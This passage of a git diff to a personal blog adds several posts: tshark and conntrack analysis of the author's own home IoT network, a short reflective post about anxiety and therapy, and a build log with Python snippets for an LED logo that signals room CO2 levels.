udp 17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1 +ipv4 2 tcp 6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1 +ipv4 2 tcp 6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1 +``` + +### 5) Part of Raw packet capture + +- What’s inside? +```bash +tshark -r iot_ap_120s.pcap -q -z io,stat,60 + + +================================== +| IO Statistics | +| | +| Duration: 119.773534 secs | +| Interval: 60 secs | +| | +| Col 1: Frames and bytes | +|--------------------------------| +| |1 | +| Interval | Frames | Bytes | +|--------------------------------| +| 0 <> 60 | 400 | 60449 | +| 60 <> Dur | 24672 | 30179911 | +================================== +``` + +- Protocol hierarchy (what kinds of traffic?) +```bash +❯ tshark -r iot_ap_120s.pcap -q -z io,phs + +=================================================================== +Protocol Hierarchy Statistics +Filter: + +eth frames:25072 bytes:30240360 + ip frames:24706 bytes:30195993 + udp frames:349 bytes:94583 + mdns frames:241 bytes:60693 + data frames:32 bytes:2240 + quic frames:76 bytes:31650 + quic frames:2 bytes:2484 + tcp frames:24353 bytes:30101226 + tls frames:2413 bytes:3493680 + tcp.segments frames:2256 bytes:3378795 + tls frames:2222 bytes:3353799 + data frames:147 bytes:71717 + tcp.segments frames:5 bytes:7550 + igmp frames:4 bytes:184 + arp frames:150 bytes:6300 + ipv6 frames:216 bytes:38067 + icmpv6 frames:124 bytes:10704 + udp frames:79 bytes:25415 + data frames:2 bytes:132 + mdns frames:77 bytes:25283 + tcp frames:13 bytes:1948 + data frames:1 bytes:90 +=================================================================== +``` + +- Top IP conversations (who talked to whom?) +```bash +❯ tshark -r iot_ap_120s.pcap -q -z conv,ip +================================================================================ +IPv4 Conversations +Filter: + | <- | | -> | | Total | Relative | Duration | + | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | +192.168.50.202 <-> 17.253.37.195 19588 29 MB 3912 286 kB 23500 29 MB 72.555738000 21.8560 +192.168.50.1 <-> 192.168.50.202 239 74 kB 238 46 kB 477 120 kB 0.293866000 119.4797 +192.168.50.1 <-> 224.0.0.251 0 0 bytes 118 28 kB 118 28 kB 0.000000000 119.7310 +192.168.50.202 <-> 1.1.1.1 40 20 kB 36 10 kB 76 31 kB 72.033321000 30.3367 +192.168.50.202 <-> 2.19.120.151 47 44 kB 29 8,460 bytes 76 53 kB 72.062807000 14.8525 +192.168.50.202 <-> 17.56.138.35 27 7,602 bytes 33 13 kB 60 20 kB 72.107270000 15.0196 +192.168.50.202 <-> 17.253.53.203 17 7,040 bytes 23 9,256 bytes 40 16 kB 72.326823000 10.5130 +192.168.50.202 <-> 54.217.122.41 19 6,271 bytes 18 6,122 bytes 37 12 kB 102.352119000 0.3678 +192.168.50.202 <-> 17.253.53.202 19 22 kB 17 3,099 bytes 36 25 kB 81.940717000 0.3208 +192.168.50.202 <-> 23.58.105.122 19 9,936 bytes 16 5,759 bytes 35 15 kB 72.225431000 9.6434 +192.168.50.104 <-> 255.255.255.255 0 0 bytes 32 2,240 bytes 32 2,240 bytes 50.628126000 65.2664 +17.242.218.132 <-> 192.168.50.202 12 1,701 bytes 13 1,802 bytes 25 3,503 bytes 20.967857000 62.0463 +192.168.50.189 <-> 3.122.71.119 8 639 bytes 13 978 bytes 21 1,617 bytes 1.112174000 108.8174 +192.168.50.131 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 19.033978000 79.6932 +192.168.50.118 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 79.030835000 19.7664 +192.168.50.233 <-> 224.0.0.251 0 0 bytes 20 6,052 bytes 20 6,052 bytes 79.031250000 19.7814 +192.168.50.196 <-> 18.196.19.65 8 570 bytes 10 678 bytes 18 1,248 bytes 4.963201000 107.5242 +192.168.50.216 <-> 224.0.0.251 0 0 bytes 12 3,880 bytes 12 3,880 bytes 98.049857000 4.2949 +192.168.50.134 <-> 161.117.178.131 5 391 bytes 4 960 bytes 9 1,351 bytes 15.392290000 60.5936 +192.168.50.202 <-> 192.168.50.189 4 1,300 bytes 4 312 bytes 8 1,612 bytes 26.274469000 93.2919 +192.168.50.202 <-> 192.168.50.118 2 406 bytes 4 402 bytes 6 808 bytes 17.999757000 60.1593 +192.168.50.202 <-> 192.168.50.131 2 406 bytes 4 402 bytes 6 808 bytes 17.999812000 60.1593 +192.168.50.202 <-> 192.168.50.233 2 406 bytes 4 402 bytes 6 808 bytes 17.999825000 60.1592 +192.168.50.202 <-> 192.168.50.196 3 975 bytes 3 234 bytes 6 1,209 bytes 30.223646000 89.3442 +192.168.50.216 <-> 192.168.50.233 4 888 bytes 2 162 bytes 6 1,050 bytes 98.322145000 0.1456 +192.168.50.216 <-> 192.168.50.202 1 1,092 bytes 4 336 bytes 5 1,428 bytes 98.319211000 0.2939 +192.168.50.216 <-> 192.168.50.1 0 0 bytes 5 455 bytes 5 455 bytes 98.319329000 0.2505 +192.168.50.202 <-> 17.253.53.201 2 148 bytes 2 132 bytes 4 280 bytes 81.716483000 1.0465 +192.168.50.202 <-> 192.168.50.104 2 818 bytes 2 156 bytes 4 974 bytes 87.030561000 0.0107 +192.168.50.216 <-> 192.168.50.131 3 718 bytes 1 75 bytes 4 793 bytes 98.321918000 0.1421 +192.168.50.216 <-> 192.168.50.118 3 718 bytes 1 75 bytes 4 793 bytes 98.322266000 0.1420 +192.168.50.216 <-> 17.57.146.25 1 90 bytes 2 172 bytes 3 262 bytes 98.048979000 0.0384 +192.168.50.216 <-> 192.168.50.134 2 790 bytes 1 75 bytes 3 865 bytes 98.321779000 0.2550 +192.168.50.216 <-> 224.0.0.2 0 0 bytes 2 92 bytes 2 92 bytes 98.049757000 0.0001 +192.168.50.216 <-> 10.172.72.196 1 66 bytes 1 70 bytes 2 136 bytes 98.664295000 0.0060 +================================================================================ +``` + +- Fast “top talkers” table (by source IP) +```bash +❯ tshark -r iot_ap_120s.pcap -T fields -e ip.src -e frame.len \ + | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \ + | sort -k2,2nr | head -n 20 +17.253.37.195 29540349 +192.168.50.202 422414 +192.168.50.1 75521 +2.19.120.151 44554 +17.253.53.202 22016 +1.1.1.1 20675 +23.58.105.122 9936 +17.56.138.35 7602 +192.168.50.233 7346 +192.168.50.118 7216 +192.168.50.131 7216 +17.253.53.203 7040 +54.217.122.41 6271 +192.168.50.216 5392 +192.168.50.104 3058 +192.168.50.189 2278 +17.242.218.132 1802 +192.168.50.134 1750 +192.168.50.196 1653 +3.122.71.119 639 +``` + +- DNS & mDNS highlights (what names show up?) +```bash +# DNS queries (unicast) +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \ + -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20 +Nov 23, 2025 11:48:38.131162000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:42.961690000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:42.962245000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:42.962911000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:43.098378000 CET 192.168.50.1 MSS110-f691._hap._tcp.local +Nov 23, 2025 11:48:43.158641000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local +Nov 23, 2025 11:48:43.201440000 CET 192.168.50.202 _companion-link._tcp.local +Nov 23, 2025 11:48:43.532623000 CET 192.168.50.1 MSS110-080d._hap._tcp.local +Nov 23, 2025 11:48:43.962673000 CET 192.168.50.1 _hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:49.110167000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:49.110760000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:49.111395000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:49.272920000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local +Nov 23, 2025 11:48:49.311002000 CET 192.168.50.1 MSS110-0ba7._hap._tcp.local +Nov 23, 2025 11:48:49.619376000 CET 192.168.50.1 Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local +Nov 23, 2025 11:48:50.115506000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:55.037844000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:55.038380000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:55.038926000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:55.060503000 CET 192.168.50.202 _companion-link._tcp.local + +# mDNS service announcements (AirPlay/HomeKit live here) +❯ tshark -r iot_ap_120s.pcap -Y "udp.port==5353 && dns" \ + -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \ + | head -n 30 +``` + +The latter had no output as I wasn't able to make that work with a static route and relied on Tailscale. (?) + +- TLS SNI (which cloud endpoints?) +```bash +❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \ + -T fields -e ip.dst -e tls.handshake.extensions_server_name \ + | sort | uniq -c | sort -k1,1nr | head -n 20 + 1 1.1.1.1 one.one.one.one + 1 17.253.37.195 streamingaudio.itunes.apple.com + 1 17.253.53.202 pancake.apple.com + 1 17.253.53.203 radio-activity.itunes.apple.com + 1 17.56.138.35 cma.itunes.apple.com + 1 2.19.120.151 play.itunes.apple.com + 1 23.58.105.122 librarydaap.itunes.apple.com + 1 54.217.122.41 guzzoni.apple.com +``` + +- Ports in use (quick heat check) +```bash +❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \ + | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \ + | sort -k2,2nr | head -n 20 +64725 19588 +443 4086 +5353 318 +49395 109 +7000 109 +55514 102 +55510 101 +64721 47 +54806 40 +20002 32 +64722 27 +8883 23 +49154 21 +55515 21 +64723 19 +64728 19 +64729 19 +5223 14 +64724 14 +64686 13 +``` + + +--- + +## Epilogue +I've been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let's cross our fingers and hope this setup finally works nicely. + + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/house_upgrade.md.asc b/static/sources/posts/house_upgrade.md.asc new file mode 100644 index 0000000..3ef20c0 --- /dev/null +++ b/static/sources/posts/house_upgrade.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+ +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0= +=bk46 +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/how_I_am_doing.md b/static/sources/posts/how_I_am_doing.md new file mode 100644 index 0000000..162d831 --- /dev/null +++ b/static/sources/posts/how_I_am_doing.md @@ -0,0 +1,32 @@ ++++ +title = 'How am I doing?' +date = 2025-12-15T08:27:13Z +draft = false ++++ + +This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I'm interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it's draining me. +Draining me of happiness, being in pursuit of happyness. + +Idk what is wrong with me. Idk why I can't let go. I don't know why I need so much closure. Idk. I really don't. +What I know is that I'm mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved. + +This "others" in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage. + +Idk what to do. I feel like I'm stuck in this life that I don't like, with so much that I love. Does this even make sense? Idk. +I know I'm full of love, and I'm willing to give it to someone. + +Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don't know if I'm lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people's hand, and how badly I could get hurt. + +He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows. + + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/how_I_am_doing.md.asc b/static/sources/posts/how_I_am_doing.md.asc new file mode 100644 index 0000000..02952c1 --- /dev/null +++ b/static/sources/posts/how_I_am_doing.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM +jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8 +fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX+PXQMo5buZy8lvT+n +ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv +xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG +m2F+aoxxgva28PxwvJp+yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n +bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO +tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT+dSrD6Ls0d +T6baPwZTDnCz6dOvZB8g8jq5V2RsI9+FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n ++J69MpQMCOh+S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz +Ek0xuaY+o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW+7o9LB7VwLex +Bsy6Od/KW0X78XG0n1JnAw+kVQoaYWTWbXBV3CJ8n8dUaQn+ctw= +=NPxh +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/inet_logo.md b/static/sources/posts/inet_logo.md new file mode 100644 index 0000000..4708824 --- /dev/null +++ b/static/sources/posts/inet_logo.md @@ -0,0 +1,539 @@ + +--- +title: "INET Logo That Breathes — From CAD to LEDs to a Calm Little Server" +date: 2025-10-17 +tags: ["raspberrypi","ws2812","scd41","iot","flask","fabrication","soldering"] +cover: + image: /images/inet/inet_animation_collage.jpg + alt: "Six looks of the INET LED logo" + caption: "Design → print → solder → code → glow." +draft: false +--- + +> I didn’t add a warning sign to the room. I taught the **logo** to breathe. ;-D + +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it's not good at is **ventilating** itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! + +So I crafted the INET logo and gave it a 9-5 job: be a **polite barometer**. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood. + +This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I'll try to include as much detail as I can. + +--- + +## 1) Sketch → CAD → Print + +![Fusion design + logotype](/images/inet/inet_logo_fusion_merged.png) + +I started the way all sensible hardware projects start: with **overconfidence** and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall **I**, the curving **N**, three stacked bars for **E**, and the long arm of **T**. Each pocket got: + +- **Mounting bosses** for the front diffusers (M2 screws), +- **Cable holes** between chambers (rounded to avoid cutting silicone wire), and +- A small **wiring bay** for the controller and power. + +I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at **1-2 mm** thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing. + +The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it. + +--- + +## 2) The Look I Wanted + +![Animations collage](/images/inet/inet_animation_collage.jpg) + +I wasn't building a stage light. The goal was **calm**: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the **CO₂ monitor** in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I'm happy with it and want to let it be there doing it's job. + +--- + +## 3) The Tidy Mess Behind the Panel + +![Hardware collage](/images/inet/inet_hardware_collage.jpg) + +Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day: + +- A **330–470 Ω** series resistor on the *data* line right at the first pixel. It damps ringing and prevents weird flickers. +- A **1000 µF** electrolytic across **5V/GND** at the strip start. It handles inrush so the first LED doesn’t faint at boot. + +I route the strip **DIN → DOUT** through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check **before** power and bring brightness up slowly on a bench supply. + +The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won't be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD + +--- + +## 4) A Web Panel that Stays Out of the Way + +![UI collage](/images/inet/inet_ui_collage.jpg) + +The web UI is quiet on purpose: a single navbar, a `/control` page with big same‑size buttons, a `/schedule` table, a drag‑and‑drop `/calendar`, a `/status` page that updates once a second, and `/history` charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy. + +There’s also a **Safe Mode** switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it's not funny for anyone to fidn this out when looking at your creation. So... yea, I took precautions not to see people getting seizures looking at my creation. :-) + +--- + +## 5) The Color Language for Air + +The `co2_monitor` animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight: + +- **< 500 ppm**: Cyan — outdoor‑like fresh air. +- **500–799**: Green — good. +- **800–1199**: Yellow — getting stale. +- **1200–1499**: Orange — poor; you’ll feel it. +- **1500–1999**: Red — ventilate now. +- **≥ 2000**: Purple — the logo is politely yelling. + +I blend the readings with an **exponential moving average** and use **hysteresis** around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow **breathing brightness**. The result feels alive but never flashy. + +By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it's daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it's color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database. + +--- + + +## 6) The Code — a guided tour (no giant blob, promise) + +This whole project runs from a single Python file. Think of it like a tiny orchestra: +one thread conducts the **LEDs**, one listens politely to the **CO₂ sensor**, one keeps time as the **scheduler**, and a small **web server** hands you the baton when you want to improvise. + +Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross). + +--- + +### 6.1 Configuration (the knobs) + +Let's define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers. + +```python +LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255 +SCHEDULE_PATH="schedule.json" +DB_PATH="sensor.db" +SAFE_MODE=True # hide flashy animations by default +``` + +*Why it’s like this:* simple, explicit defaults → less “why is it dark” debugging. + +--- + +### 6.2 Strip setup + frame-diff (no flicker magic) + +Now initialize `rpi_ws281x.PixelStrip` and put a **shadow frame buffer** in front of it. + +```python +frame = [(0,0,0)] * LED_COUNT +_dirty = False + +def _set_pixel(i, r, g, b): + # only touch hardware if the value actually changed + if frame[i] != (r,g,b): + strip.setPixelColorRGB(i, r, g, b) + frame[i] = (r,g,b) + global _dirty; _dirty = True + +def flush(): + if _dirty: strip.show(); _dirty=False +``` + +*Why it’s like this:* LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call `show()` with identical data. + +--- + +### 6.3 A tiny color wheel helper + +Classic rainbow helper used by a few animations: + +```python +def wheel(pos): + # 0..255 → (r,g,b) + ... +``` + +*Why it’s like this:* I'll use it again and again; it keeps color math out of the animations. + +--- + +### 6.4 State & orchestration + +Let's hold a registry of animations, a stop flag, and the currently playing thread. + +```python +animations = {} +stop_event = threading.Event() +current_thread = None + +def register(name, safe=True): + def wrap(fn): + animations[name] = {"fn": fn, "safe": safe} + return fn + return wrap + +def run_animation(fn): + # cooperative hand-off: stop current, start next + if current_thread and current_thread.is_alive(): + stop_event.set(); current_thread.join() + stop_event.clear() + t = threading.Thread(target=fn, name=fn.__name__, daemon=True) + t.start(); globals()["current_thread"] = t +``` + +*Why it’s like this:* adding a new animation is a one-liner `@register("name")`. Clean exits prevent torn frames and half-drawn comets. + +--- + +### 6.5 Animations (the mood) + +Each animation is a loop that checks `stop_event.is_set()` and draws frames with `_set_pixel(...)` + `flush()`. + +- **`redpulse`** — calm breathing in red; great default. +- **`colorwave`** — slow rainbow that reads clearly behind diffusers. +- **`comet`** — a single head with a fading tail orbiting the logo. + +They all end with `finally: clear_strip()` so the panel doesn’t freeze on the last pose if you stop mid-frame. + +*Why it’s like this:* cooperative loops + frame-diff = smooth, interruption-safe effects. + +--- + +### 6.6 CO₂ color language (with smoothing + hysteresis) + +The star of the show. Now map ppm to color **bands** and keep transitions human-pleasant. + +- `< 500`: **Cyan** (fresh) +- `500–799`: **Green** +- `800–1199`: **Yellow** +- `1200–1499`: **Orange** +- `1500–1999`: **Red** +- `≥ 2000`: **Purple** + +```python +BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,∞,(123,44,191))] +EMA_ALPHA=0.15; HYST=35 + +# Every tick: +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2 +band = hysteresis_aware_band(ema, last_band, HYST) +target = BANDS[band].color +current = lerp(current, target, 0.10) # gentle hue easing +level = breathe(0.25 Hz, low=10, high=220) +draw all pixels = current * level +``` + +*Why it’s like this:* EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light. + +--- + +### 6.7 Optional SCD41 sensor thread (the polite listener) + +If the SCD41 is present, a **dedicated thread** owns I²C and updates a global `co2_data` dict every few seconds. It also logs to a tiny SQLite database. + +```python +def _start_sensor(): + try: + scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement() + except: return # sensor optional + def loop(): + while True: + time.sleep(5) + if scd4x.data_ready: + co2_data.update({...}) + db.insert(timestamp, co2, temperature, humidity) + threading.Thread(target=loop, daemon=True).start() +``` + +*Why it’s like this:* one thread owns the bus → no read contention. The controller keeps working even without a sensor. + +--- + +### 6.8 Scheduler + 90-minute override (humans win, then reset) + +A background thread asks, every few seconds, **which** mode should be running: + +1. If the user chose something recently (override), respect it for `TTL = 90 min` (or the duration set in the UI). +2. Otherwise, apply the **default schedule** (Wednesday 14–17 → `slow`, else `redpulse`). +3. Save/load the schedule atomically to `schedule.json`. + +```python +def scheduler_pick(): + if now < override_until: return override_mode + for row in load_schedule(): + if matches(now, row): return row["mode"] + return "redpulse" +``` + +*Why it’s like this:* you can play DJ for a meeting, and the room quietly returns to its routine afterward. + +--- + +### 6.9 The web panel (tiny Flask, big buttons) + +Three pages, no fuss: + +- `/status` — live JSON (`/status_data`) every second → current mode + CO₂/Temp/Humidity. +- `/control` — grid of same-size buttons (respects **Safe Mode**), optional **duration** (0–180 min) with validation. +- `/schedule` — simple table editor; **Add Row** and **Save**; writes atomically. + +```python +@app.post("/set") +def set_mode(): + mode = request.form["mode"] + minutes = clamp( int(form["duration"]), 0, 180 ) + set_override(mode, minutes) + run_animation(animations[mode]["fn"]) + return redirect("/control") +``` + +*Why it’s like this:* minimal routes are easier to maintain and don’t compete with the art piece. + +--- + +### 6.10 Boot choreography + +At startup I: + +1. Try the **sensor thread** (if hardware is there). +2. Start the **scheduler thread**. +3. Immediately play **redpulse** (so there’s a friendly glow right away). +4. Start Flask; on shutdown I **clear the strip**. + +```python +if __name__ == "__main__": + _start_sensor() + threading.Thread(target=scheduler_loop, daemon=True).start() + run_animation(redpulse) + app.run(host="0.0.0.0", port=5000) +``` + +*Why it’s like this:* the room sees something alive 